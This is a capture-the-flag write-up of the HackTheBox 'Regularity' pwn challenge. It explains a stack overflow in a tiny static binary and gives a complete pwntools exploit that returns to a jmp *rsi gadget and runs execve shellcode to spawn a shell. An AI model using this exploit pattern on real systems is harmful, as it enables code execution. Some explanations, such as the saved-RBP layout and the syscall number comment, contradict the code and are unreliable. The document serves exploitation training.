← Back to Writeups
HTBEasypwn

Regularity

XESXOR9/10/20265 min read
#pwn#htb#easy#jmp_rsi_gadget#register_preservation#ret_overwrite#shellcode_injection#linux

Regularity

Platform: HackTheBox | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: jmp_rsi_gadget, register_preservation, ret_overwrite, shellcode_injection

Summary

Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.

Regularity - HackTheBox

Description

Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...

Remote: nc 94.237.61.248 42609

Files

  • regularity - ELF 64-bit LSB executable, x86-64, statically linked, not stripped
  • flag.txt - Fake flag for local testing

Analysis

Binary Properties

$ checksec regularity
Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Key observations:

  • No stack canary - buffer overflow possible
  • Executable stack - shellcode execution possible
  • No PIE - fixed addresses, gadgets at known locations
  • Statically linked - minimal attack surface but predictable layout

Disassembly

The binary is a minimal assembly program:

asm
_start (0x401000):
  - Prints "Hello, Survivor. Anything new these days?"
  - Calls read function
  - Prints "Yup, same old same old here as well..."
  - Jumps to exit via jmp *rsi

read (0x40104b):
  subq $0x100, %rsp        # Allocate 256 bytes on stack
  movl $0x0, %eax          # syscall number 0 (read)
  movl $0x0, %edi          # fd = 0 (stdin)
  leaq (%rsp), %rsi        # RSI = buffer address on stack
  movl $0x110, %edx        # count = 272 bytes  <-- VULNERABILITY!
  syscall
  addq $0x100, %rsp        # Restore stack (256 bytes)
  ret                       # Return to caller

write (0x401043):
  - Standard write syscall wrapper

exit (0x40106f):
  - exit(0) syscall

Vulnerability

Classic stack buffer overflow in the read function:

Stack LayoutSize
Buffer256 bytes (0x100)
Saved RBP8 bytes
Return Address8 bytes

The function:

  1. Allocates 256 bytes on stack
  2. Reads 272 bytes (0x110) - 16 bytes overflow
  3. Overflow allows overwriting return address

Key Gadget

At address 0x401041 there's a powerful gadget:

asm
0x401041: jmp *rsi

Why this matters:

  • After the read syscall, RSI still points to our input buffer
  • Linux syscalls preserve RSI (it's a callee-saved register for syscalls)
  • By returning to this gadget, we jump directly to our controlled buffer

Exploitation Strategy

+------------------+
|    Shellcode     |  <- RSI points here after read
|    (29 bytes)    |
+------------------+
|    NOP sled      |
|   (227 bytes)    |
+------------------+
| jmp *rsi gadget  |  <- Return address (0x401041)
|    (8 bytes)     |
+------------------+

Flow: read() returns -> jmp *rsi -> shellcode executes
  1. Place shellcode at buffer start (where RSI points)
  2. Pad with NOPs to reach 256 bytes
  3. Overwrite return address with jmp *rsi gadget
  4. On return, gadget executes, jumping to our shellcode
  5. Shellcode spawns /bin/sh

Solution

python
#!/usr/bin/env python3
"""
Regularity - HackTheBox PWN
Stack buffer overflow with jmp *rsi gadget

Vulnerability: read() allocates 256 bytes but reads 272 bytes
Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

# execve("/bin/sh") shellcode - 29 bytes
# Source: shell-storm.org/shellcode/files/shellcode-905.html
shellcode = (
    b"\x6a\x42"              # push 0x42
    b"\x58"                  # pop rax
    b"\xfe\xc4"              # inc ah (rax = 0x3b = execve)
    b"\x48\x99"              # cqo (rdx = 0)
    b"\x52"                  # push rdx (null terminator)
    b"\x48\xbf\x2f\x62\x69"  # movabs rdi, "/bin//sh"
    b"\x6e\x2f\x2f\x73\x68"
    b"\x57"                  # push rdi
    b"\x54"                  # push rsp
    b"\x5e"                  # pop rsi
    b"\x49\x89\xd0"          # mov r8, rdx
    b"\x49\x89\xd2"          # mov r10, rdx
    b"\x0f\x05"              # syscall
)

# Gadget: jmp *rsi at 0x401041
# After read syscall, RSI still points to our buffer
JMP_RSI = 0x401041

def exploit(target):
    if target == 'local':
        p = process('./regularity')
    else:
        p = remote('94.237.61.248', 42609)
    
    # Build payload
    payload = shellcode              # Shellcode at buffer start (29 bytes)
    payload = payload.ljust(256, b'\x90')  # Pad to 256 bytes with NOPs
    payload += p64(JMP_RSI)          # Overwrite return address
    
    log.info(f"Payload size: {len(payload)} bytes")
    log.info(f"Shellcode size: {len(shellcode)} bytes")
    log.info(f"Gadget address: {hex(JMP_RSI)}")
    
    # Send payload
    p.recvuntil(b'days?')
    p.send(payload)
    
    # Wait for shell
    sleep(0.5)
    
    # Get flag
    p.sendline(b'cat flag.txt')
    response = p.recvall(timeout=3)
    print(response.decode())
    
    p.close()

if __name__ == '__main__':
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else 'remote'
    exploit(target)

Execution

bash
$ python3 solve.py remote
[+] Opening connection to 94.237.61.248 on port 42609: Done
[*] Payload size: 264 bytes
[*] Shellcode size: 29 bytes
[*] Gadget address: 0x401041
HTB{REDACTED}

Lessons Learned

  1. Challenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight

  2. Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data

  3. Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques

  4. Gadget hunting: Even tiny binaries can contain useful gadgets - jmp *rsi is powerful when you control the buffer and know register state

  5. Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation

References